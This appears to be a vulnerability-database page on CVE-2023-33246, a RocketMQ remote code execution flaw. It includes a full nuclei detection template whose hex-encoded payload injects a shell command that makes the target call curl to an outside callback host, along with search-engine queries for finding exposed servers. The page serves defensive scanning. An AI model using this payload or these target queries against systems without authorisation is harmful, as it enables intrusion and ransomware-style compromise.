HexBrain

Browse / CVEs / CVE-2023-33246

CVE-2023-33246· apache / rocketmq· CWE-94

RocketMQ <= 5.1.0 - Remote Code Execution

Exploited in the wild. Listed by CISA on 2023-09-06; known to be used by ransomware.

criticalseverity
9.8CVSS score
96.6%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

For RocketMQ versions 5.1.0 and below, under certain conditions, there is a risk of remote command execution. Several components of RocketMQ, including NameServer, Broker, and Controller, are leaked on the extranet and lack permission verification, an attacker can exploit this vulnerability by using the update configuration function to execute commands as the system users that RocketMQ is running as. Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content. To prevent these attacks, users are recommended to upgrade to version 5.1.1 or above for using RocketMQ 5.x or 4.9.6 or above for using RocketMQ 4.x .

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Update the RocketMQ application to version 5.1.1

How to confirm it

Send: tcp probe to {{Hostname}}
Positive when: contains(raw,'serializeTypeCurrentRPC') and contains(interactsh_protocol,'dns')

Run it with nuclei: nuclei -id CVE-2023-33246 -u <target>

The full check
id: CVE-2023-33246

info:
  name: RocketMQ <= 5.1.0 - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    For RocketMQ versions 5.1.0 and below, under certain conditions, there is a risk of remote command execution. Several components of RocketMQ, including NameServer, Broker, and Controller, are leaked on the extranet and lack permission verification, an attacker can exploit this vulnerability by using the update configuration function to execute commands as the system users that RocketMQ is running as. Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content. To prevent these attacks, users are recommended to upgrade to version 5.1.1 or above for using RocketMQ 5.x or 4.9.6 or above for using RocketMQ 4.x .
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: Update the RocketMQ application to version 5.1.1
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-33246
    - https://github.com/I5N0rth/CVE-2023-33246
    - http://packetstormsecurity.com/files/173339/Apache-RocketMQ-5.1.0-Arbitrary-Code-Injection.html
    - http://www.openwall.com/lists/oss-security/2023/07/12/1
    - https://lists.apache.org/thread/1s8j2c8kogthtpv3060yddk03zq0pxyp
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-33246
    cwe-id: CWE-94
    epss-score: 0.96568
    epss-percentile: 0.99882
    cpe: cpe:2.3:a:apache:rocketmq:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: rocketmq
    shodan-query:
      - title:"RocketMQ"
      - http.title:"rocketmq-console-ng"
      - http.title:"rocketmq"
    fofa-query:
      - protocol="rocketmq"
      - title="rocketmq-console-ng"
      - title="rocketmq"
    google-query:
      - intitle:"rocketmq"
      - intitle:"rocketmq-console-ng"
  tags: packetstorm,network,cve2023,cve,rocketmq,rce,oast,intrusive,apache,tcp,kev,vkev,vuln
variables:
  part_a: '{{ hex_decode ("000000d2000000607b22636f6465223a32352c22666c6167223a302c226c616e6775616765223a224a415641222c226f7061717565223a302c2273657269616c697a655479706543757272656e74525043223a224a534f4e222c2276657273696f6e223a3339357d66696c7465725365727665724e756d733d310a726f636b65746d71486f6d653d2d632024407c7368202e206563686f206375726c20") }}'
  part_b: '{{ hex_decode("3b0a") }}'
tcp:
  - host:
      - "{{Hostname}}"
    port: 10911

    inputs:
      - data: '{{ part_a + "{{interactsh-url}}" + "/////////////" + part_b  }}'
        read: 1024
    read-size: 4
    matchers:
      - type: dsl
        dsl:
          - contains(raw,'serializeTypeCurrentRPC')
          - contains(interactsh_protocol,'dns')
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from